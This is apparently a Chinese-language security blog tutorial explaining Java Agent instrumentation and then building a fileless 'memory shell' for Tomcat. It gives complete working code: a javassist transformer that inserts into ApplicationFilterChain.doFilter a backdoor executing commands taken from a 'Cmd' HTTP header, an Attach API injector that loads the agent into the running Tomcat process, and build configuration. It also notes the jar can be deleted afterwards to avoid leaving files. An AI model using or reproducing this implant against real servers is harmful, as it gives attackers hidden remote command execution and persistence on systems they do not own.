Java Agent内存马
JavaAgent内存马
在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法
Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去
说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain
Java Agent 支持两种方式进行加载:
premain(了解)
实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
首先创建一个demo
package org.example;
import java.lang.instrument.Instrumentation;
public class demo {
public static void premain(String agentArgs, Instrumentation inst) throws Exception{
System.out.println(agentArgs);
}
}
打包成jar包
<build>
<pluginManagement>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>2.2</version>
<configuration>
<archive>
<manifestEntries>
<Premain-Class>org.example.demo</Premain-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
<skip>true</skip>
</configuration>
</plugin>
</plugins>
</pluginManagement>
</build>
<Premain-Class>
:指定了项目中的主类(Main Class)。
<Can-Redefine-Classes>
:设定是否允许重新定义已加载的类。
<Can-Retransform-Classes>
:设定是否允许对已加载的类进行转换。
再写一个普通的java程序
package org.example;
public class Main {
public static void main(String[] args) {
System.out.println("Hello world!");
}
}
也打包成jar包
<build>
<pluginManagement>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>2.2</version>
<configuration>
<archive>
<manifestEntries>
<!-- <Premain-Class>org.example.demo</Premain-Class>-->
<!-- <Can-Redefine-Classes>true</Can-Redefine-Classes>-->
<!-- <Can-Retransform-Classes>true</Can-Retransform-Classes>-->
<Main-Class>org.example.Main</Main-Class>
</manifestEntries>
</archive>
<skip>true</skip>
</configuration>
</plugin>
</plugins>
</pluginManagement>
</build>
因为是启动时加载,所以运行方式如下
java -javaagent:demo.jar -jar main.jar
因为demo中的premain没有接收到参数agentArgs
, 所以打印出null
传参如下
可以发现这个demo.jar的premain比main.jar的main先执行
premain还有另外一个参数Instrumentation inst
这个该如何使用?
Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果
在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据
Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码
public interface Instrumentation {
// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);
// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
// 判断目标类是否能够修改。
boolean isModifiableClass(Class<?> theClass);
// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
......
}
下面是几个常用的方法:
addTransformer
addTransformer 方法来用于注册 Transformer,所以我们可以通过编写 ClassFileTransformer 接口的实现类来注册我们自己的转换器
void
addTransformer(ClassFileTransformer transformer, boolean canRetransform);
void
addTransformer(ClassFileTransformer transformer);
ClassFileTransformer 接口如下
public interface ClassFileTransformer {
default byte[]
transform( ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException {
return null;
}
default byte[]
transform( Module module,
ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException {
// invoke the legacy transform method
return transform(loader,
className,
classBeingRedefined,
protectionDomain,
classfileBuffer);
}
}
这样当类加载的时候,会进入我们自己写的 ClassFileTransformer 接口的实现类 中的 transform 函数进行拦截
getAllLoadedClasses
getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class
retransformClasses
retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果我们的目标类已经被加载的话,我们可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果
agentmain
实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)
上面介绍的 premain 方法是在 JDK 1.5中提供的,所以在 jdk 1.5 的时候开发者只能在 main 加载之前添加手脚,但是很多时候例如我们内存马注入的情况都是处于 JVM 已运行了的情况,所以上面的方法就不是很有用,不过在 jdk 1.6 中实现了attach-on-demand(按需附着),我们可以使用 Attach API 动态加载 agent ,然而 Attach API 在 tool.jar 中,jvm 启动时是默认不加载该依赖的,需要我们在 classpath 中额外进行指定
启动后加载 agent 通过新的代理操作来实现:agentmain,使得可以在 main 函数开始运行之后再运行
和之前的 premain 函数一样,我们可以编写 agentmain 函数的 Java 类
public class demo {
public static void agentmain(String agentArgs, Instrumentation inst) throws Exception{
inst.addTransformer(new demoTransformer(),true);
}
}
demoTransformer:
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class demoTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("-->demoTransformer");
return ClassFileTransformer.super.transform(loader, className, classBeingRedefined, protectionDomain, classfileBuffer);
}
}
然后将其编译打包成jar包
<build>
<pluginManagement>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>2.2</version>
<configuration>
<archive>
<manifestEntries>
<Agent-Class>org.example.demo</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
<!-- <Main-Class>org.example.Main</Main-Class>-->
</manifestEntries>
</archive>
<skip>true</skip>
</configuration>
</plugin>
</plugins>
</pluginManagement>
</build>
在 Java JDK6 以后实现启动后加载 Instrument 的是 Attach api。存在于 com.sun.tools.attach 里面有两个重要的类。
来查看一下该包中的内容,这里有两个比较重要的类,分别是 VirtualMachine 和 VirtualMachineDescriptor,其中我们重点关注 VirtualMachine 类
VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。里面配备有几个方法LoadAgent,Attach 和 Detach 。下面来看看这几个方法的作用
Attach :该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
VirtualMachine vm = VirtualMachine.attach(v.id());
loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。
Detach:从 JVM 上面解除一个代理(agent)
VirtualMachineDescriptor是一个描述虚拟机的容器类,配合 VirtualMachine 类完成各种功能。
写个测试类
把agent.jar注入到当前进程
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Main {
public static void main(String[] args) throws Exception{
String path = "agent.jar";//路径
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor v:list){
System.out.println(v.displayName());
if (v.displayName().contains("org.example.Main")){
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
VirtualMachine vm = VirtualMachine.attach(v.id());
// 将我们的 agent.jar 发送给虚拟机
System.out.println(v.id());
vm.loadAgent(path);
vm.detach();
}
}
}
}
运行结果:
如果报错,尝试添加-Djdk.attach.allowAttachSelf=true
内存马写入
这里使用tomcat进行测试
Java web中,用户的请求到达Servlet之前,一定会经过 Filter,在学习Tomcat Filter内存马中了解到,发送请求一定经过org.apache.catalina.core.ApplicationFilterChain
的doFilter方法,而且在还调用了两次
同时在 doFilter 中还封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回
首先注册我们的 demoTransformer ,然后遍历已加载的 class,如果存在的话那么就调用 retransformClasses 对其进行重定义
package org.example;
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws Exception{
String CLASSNAME = "org.apache.catalina.core.ApplicationFilterChain";
for (Class clazz : inst.getAllLoadedClasses()){
if (clazz.getName().equals(CLASSNAME)) {
inst.addTransformer(new demoTransformer(), true);
inst.retransformClasses(clazz);
}
}
}
}
demoTransformer 代码如下:
package org.example;
import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class demoTransformer implements ClassFileTransformer{
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
String CLASSNAME = "org.apache.catalina.core.ApplicationFilterChain";
String CLASSMETHOD = "doFilter";
try {
if (className.replace("/", ".").equals(CLASSNAME)) {
ClassPool pool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
pool.insertClassPath(ccp);
}
CtClass clazz = pool.get(CLASSNAME);
CtMethod method = clazz.getDeclaredMethod(CLASSMETHOD);
method.insertBefore("javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest) request;\n" +
"String cmd = httpServletRequest.getHeader(\"Cmd\");\n" +
"if (cmd != null){\n" +
" Process process = Runtime.getRuntime().exec(cmd);\n" +
" java.io.InputStream input = process.getInputStream();\n" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(input));\n" +
" StringBuilder sb = new StringBuilder();\n" +
" String line = null;\n" +
" while ((line = br.readLine()) != null){\n" +
" sb.append(line + \"\\n\");\n" +
" }\n" +
" br.close();\n" +
" input.close();\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
"}");
byte[] classbyte = clazz.toBytecode();
clazz.detach();
return classbyte;
}
} catch (Exception e) {
e.printStackTrace();
}
return classfileBuffer;
}
}
因为所有已加载的类都会经过transform
方法,所有要用if进行判断,然后就是使用javassist
修改字节码
需要注意的是
ClassPool pool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
pool.insertClassPath(ccp);
}
这一段代码的作用是在当前类已经被定义的情况下,将它的字节码添加到ClassPool中。
具体来说,首先判断classBeingRedefined (transform方法参数)是否为null,如果不为null,则说明当前类已经被定义过了。那么就可以创建一个ClassClassPath对象,该对象封装了classBeingRedefined的字节码文件的路径,然后将它添加到ClassPool中。
添加之后,ClassPool就可以找到并加载该类的字节码文件,这样就能够在字节码上进行修改和操作了。
后面就是在doFilter方法前面插入了内存马
代码,从header头中读取Cmd的值作为命令,然后将命令执行结果通过response返回给用户
method.insertBefore("javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest) request;\n" +
"String cmd = httpServletRequest.getHeader(\"Cmd\");\n" +
"if (cmd != null){\n" +
" Process process = Runtime.getRuntime().exec(cmd);\n" +
" java.io.InputStream input = process.getInputStream();\n" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(input));\n" +
" StringBuilder sb = new StringBuilder();\n" +
" String line = null;\n" +
" while ((line = br.readLine()) != null){\n" +
" sb.append(line + \"\\n\");\n" +
" }\n" +
" br.close();\n" +
" input.close();\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
"}");
写完这个马后打包成jar,注意:一定要将依赖打包进jar里,避免没有依赖无法执行,然后报错
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.3.0</version>
<configuration>
<archive>
<manifestEntries>
<Agent-Class>org.example.AgentMain</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
打包完成后得到两个jar,使用的是第二个,第一个没有依赖,而且MANIFEST.MF不完整
得到jar后,需要一个程序将这个jar注入到想要的进程中
package org.example;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;
public class Main {
public static void main(String[] args) throws Exception{
String path = "agentDemo-1.0-SNAPSHOT-jar-with-dependencies.jar";//路径
List<VirtualMachineDescriptor> list = VirtualMachine.list();//遍历正在运行的JVM
for (VirtualMachineDescriptor v:list){
System.out.println(v.id()+" "+v.displayName());
if (v.displayName().contains("org.apache.catalina.startup.Bootstrap")){//判断是否为目标进程
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
VirtualMachine vm = VirtualMachine.attach(v.id());
// 将我们的jar 发送给虚拟机
vm.loadAgent(path);
vm.detach();
System.out.println("OK");
}
}
}
}
代码编写到这就完成了
尝试运行:
首先运行一个tomcat项目,使用命令jps - l
可以看到运行的java进程和pid
这个org.apache.catalina.startup.Bootstrap
就是运行的tomcat 进程,如果是其他名字,需要去修改一下上面的Main函数代码
然后运行注入代码即可,因为没写注入成功的提示,所有没有任何反应
命令执行测试:
因为调用了两次doFilter,所以弹出两次计算器
因为执行命令ipconfig 会出现一些中文字符,返回会报错,所有要修改优化一下返回结果的代码
修改一下下面的代码即可
修改后:
由于内存马要求无文件落地,这里把注入的jar删除掉,ma还是能够正常运行的